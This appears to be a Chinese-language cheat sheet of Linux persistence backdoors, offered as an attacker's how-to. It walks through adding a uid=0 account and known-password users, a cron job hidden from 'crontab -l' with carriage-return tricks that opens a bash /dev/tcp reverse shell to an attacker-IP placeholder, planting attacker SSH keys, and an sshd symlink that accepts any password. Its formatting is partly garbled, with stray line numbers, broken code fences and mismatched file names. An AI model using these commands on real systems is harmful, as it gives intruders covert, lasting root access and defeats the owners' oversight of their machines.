1. 添加uid=0的用户

    • 创建用户

      1
      useradd hello;echo 'tide:123456' | chpasswd    # 创建用户hello并修改密码为123456
    • 修改文件

      1
      vi /etc/passwd           # 修改passwd文件,将hello用户的uid改为0
  2. 添加普通用户

    • ```shell
      useradd -p openssl passwd -1 -salt 'salt' 123456 hello

      1
      2
      3
      4
      5
      6
      7

      使用useradd -p方法,通过 ` ` 存放可执行的系统命令;创建一个用户名为hello,密码为123456的普通用户;

      - 使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户;

      ```shell
      useradd -p "$(openssl passwd -1 123456)" chiyu
    • chpasswd方法添加用户;

      1
      useradd chiyu;echo 'chiyu:123456'|chpasswd
    • echo -e方法添加用户;

      1
      useradd chiyu;echo -e "123456\n123456\n" |passwd chiyu
  3. cron隐藏后门

    • 创建文件a.sh

      1
      2
      #! /bin/bash
      bash -I >& /dev/tcp/攻击端ip/监听端口 0>&1
    • 创建文件b.sh

      1
      (crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -
    • 赋予权限

      1
      2
      3
      4
      5
      6
      7
      chmod 777 first.sh
      chmod 777 second.sh
      攻击端:
      nc -l 监听端口 # 开启监听
      被控端:
      crontab -l # 查看定时任务
      ./second.sh # 执行隐藏后门文件,一分钟后攻击端监听的1234端口就会接收到shell
    • 注意

      1
      2
      cron每分钟都会读取一次/etc/crontab与/var/spool/cron文件内容,所以要时常注意这些文件;原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

  4. ssh公钥免密码登录

    • 在攻击端生成密钥对 上传到被控端的 ~/.ssh/authorized_keys文件 并设置相应的权限

      (1)攻击端: ssh -keygen -b 4096 -t rsa # 创建密钥对,生成id_rsa和id_rsa.pub文件

      (2)被控端:mkdir ~/.ssh # 创建.ssh文件夹

      (3)攻击端:ssh-copy-id -p 端口 root@被控端ip # 将攻击端的公钥发送给被控端 此过程 需要输入远程机器的密码 端口必须为没有被使用的

    1. ssh软链接

      • 对sshd建立软链接,可使用任意密码登录。

        1
        被控端 ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=1234
        1
        攻击端 ssh root@ip -p 1234   密码任意
      • 软链接的路径与后门功能无关联,软链接的文件名会影响后门功能

      • 如果直接启动/usr/sbin/sshd,系统默认会使用/etc/pam.d/sshd目录中的PAM的配置文件,而通过建立软链接的方式,PAM认证实际上是通过软链接定义的文件名(如/usr/local/su),在/etc/pam.d目录中去寻找对应的PAM配置文件(如/etc/pam.d/su)。

        任意密码登录的核心是suth sufficient pam_rootok.so配置,除了su文件可成功利用,/etc/pam.d目录中只要PAM配置文件中包含此项配置,就可以SSH任意密码登录(比如我的系统除了su还有chfn、chsh、runuser)。